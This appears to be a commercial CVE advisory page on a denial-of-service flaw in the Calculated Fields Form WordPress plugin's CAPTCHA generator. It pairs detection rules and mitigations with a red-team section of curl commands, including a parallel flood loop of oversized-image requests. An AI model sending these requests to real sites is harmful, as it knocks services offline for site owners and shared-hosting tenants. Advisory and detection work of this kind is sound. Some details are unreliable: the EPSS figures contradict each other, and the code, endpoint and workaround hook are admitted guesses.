☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12601

CVE-2024-12601 Denial of Service in Calculated fields form
📅 PUBLISHED: 2024-12-17 11:10 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
12.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1498
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: L Availability Low
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12601 is a Denial of Service (DoS) vulnerability in the Calculated Fields Form WordPress plugin (versions up to and including 5.2.63). The flaw resides in the CAPTCHA image generation functionality, where the height and width parameters are not properly sanitized or limited. An unauthenticated attacker can send multiple requests with arbitrarily large values for these parameters, causing the server to allocate excessive resources (CPU and memory) to generate oversized CAPTCHA images. This can lead to resource exhaustion and service unavailability, especially on shared hosting environments or servers without DoS mitigation.

This vulnerability is classified as a WordPress ecosystem issue, as it directly affects a plugin running within WordPress. The attack does not require authentication and can be executed with minimal effort, making it a significant risk for sites relying on this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Calculated Fields Form WordPress plugin, which is distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should verify the integrity of the plugin files and ensure they are obtained from the official repository. The lack of a patch at the time of analysis means that users must rely on alternative mitigations (e.g., Web Application Firewall rules) until an update is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: Low (A:L)

Threat Level: Medium. While the impact is limited to availability (DoS), the attack is trivial to execute and requires no authentication. In shared hosting environments, a single attacker could degrade performance for all tenants.

Deep Dive & Mechanics

The vulnerability exists in the CAPTCHA image generation endpoint of the Calculated Fields Form plugin. The plugin uses the GD library (or similar) to dynamically generate CAPTCHA images. The height and width parameters are passed directly to the image creation function without validation.

Root Cause:

  • The plugin does not enforce maximum values for height and width.
  • An attacker can set these parameters to extremely large integers (e.g., 99999x99999 pixels).
  • The server attempts to allocate memory for the image buffer, which can be several gigabytes for a single request.
  • Multiple concurrent requests can exhaust available memory or CPU, leading to a denial of service.

Attack Flow:

  1. Attacker identifies a WordPress site using the Calculated Fields Form plugin.
  2. Attacker sends a crafted HTTP request to the CAPTCHA generation endpoint (e.g., /wp-admin/admin-ajax.php?action=cf_captcha&width=99999&height=99999).
  3. The server allocates memory for the image, consuming significant resources.
  4. The attacker repeats the request in parallel, causing resource exhaustion.

Why EPSS is 0.0%: This is a newly disclosed CVE with no observed exploitation in the wild yet. However, the simplicity of the attack suggests that exploitation may increase once proof-of-concept code becomes available.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In the CAPTCHA generation function
$width = $_GET['width'];
$height = $_GET['height'];
$image = imagecreatetruecolor($width, $height);
// No validation or limits on $width and $height

Patched Code (Expected):

// Patched version should include limits
$width = min((int)$_GET['width'], 300);
$height = min((int)$_GET['height'], 100);
$image = imagecreatetruecolor($width, $height);

Note: Since no official patch is available, the above is a recommended fix. The plugin vendor has not released an update as of this analysis.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the Calculated Fields Form plugin (version <= 5.2.63) installed and active.
  • The CAPTCHA feature must be enabled (default in many forms).

Exploitation Steps:

  1. Identify the CAPTCHA endpoint. Typically, it is accessible via:
    /wp-admin/admin-ajax.php?action=cf_captcha
    
  2. Send a request with large dimensions:
    curl "http://target.com/wp-admin/admin-ajax.php?action=cf_captcha&width=99999&height=99999"
    
  3. To amplify the attack, send multiple concurrent requests:
    for i in {1..100}; do
      curl "http://target.com/wp-admin/admin-ajax.php?action=cf_captcha&width=99999&height=99999" &
    done
    
  4. Monitor server response times. If the server becomes unresponsive, the DoS is successful.

Expected Outcome: Server CPU and memory usage spikes, potentially causing the site to become slow or crash.

Blue Team (Detection & Defense)

Detection:

  • Monitor for HTTP requests to /wp-admin/admin-ajax.php with action=cf_captcha and unusually large width or height parameters.
  • Look for a high volume of requests from a single IP to this endpoint.
  • Use the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

  • Immediate: Block requests with width or height parameters exceeding reasonable limits (e.g., > 500 pixels) at the WAF or reverse proxy level.
  • Rate Limiting: Apply rate limiting to the CAPTCHA endpoint (e.g., 10 requests per minute per IP).
  • Plugin Update: Monitor the plugin repository for a patched version and apply it as soon as available.
  • Disable CAPTCHA: If not critical, disable the CAPTCHA feature in the plugin settings.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=cf_captcha and width or height parameters > 1000.
  • High volume of requests from a single IP to the CAPTCHA endpoint.
  • Server logs showing imagecreatetruecolor() failures due to memory exhaustion.

File IOCs:

  • Temporary files in /tmp/ with large sizes (if the server writes CAPTCHA images to disk).
  • PHP error logs containing Allowed memory size exhausted or Out of memory errors.

Behavioral IOCs:

  • Unusual CPU or memory spikes on the web server.
  • Slow response times or timeouts for the WordPress site.

Detection Engineering

YARA Rule

rule CVE_2024_12601_Captcha_DoS {
    meta:
        description = "Detects requests to Calculated Fields Form CAPTCHA endpoint with oversized dimensions"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-12601"
    strings:
        $ajax_action = "action=cf_captcha"
        $width_param = "width="
        $height_param = "height="
    condition:
        $ajax_action and ($width_param or $height_param)
}

Sigma Rule

title: CVE-2024-12601 - Calculated Fields Form CAPTCHA DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with large width/height parameters to the CAPTCHA endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "action=cf_captcha"
        cs-uri-query|contains|all:
            - "width="
            - "height="
    condition: selection
falsepositives:
    - Legitimate requests with standard CAPTCHA sizes (e.g., width=300, height=100)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-12601 - Calculated Fields Form CAPTCHA DoS Attempt";
    flow:to_server;
    content:"action=cf_captcha";
    http_uri;
    content:"width=";
    http_uri;
    distance:0;
    content:"height=";
    http_uri;
    distance:0;
    pcre:"/width=\d{4,}/";
    pcre:"/height=\d{4,}/";
    classtype:attempted-dos;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. WAF Rules: Block requests to /wp-admin/admin-ajax.php where width or height parameters exceed 500 pixels.
  2. Rate Limiting: Use a plugin like Wordfence or server-level rate limiting to restrict requests to the CAPTCHA endpoint.
  3. Disable CAPTCHA: If the CAPTCHA is not essential, disable it in the plugin settings.

Long-Term Fix:

  • Monitor the plugin repository for an official patch. Apply it as soon as it becomes available.
  • If the plugin is not updated within a reasonable timeframe, consider replacing it with an alternative form plugin that has proper input validation.

Workaround Code (for developers): Add the following to your theme's functions.php to override the CAPTCHA generation:

add_filter('cf_captcha_params', function($params) {
    $params['width'] = min($params['width'], 300);
    $params['height'] = min($params['height'], 100);
    return $params;
});

Valters IT - Securing your digital assets with precision.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"calculated-fields-form"
http.html:"wp-content/plugins/calculated-fields-form"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12601/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.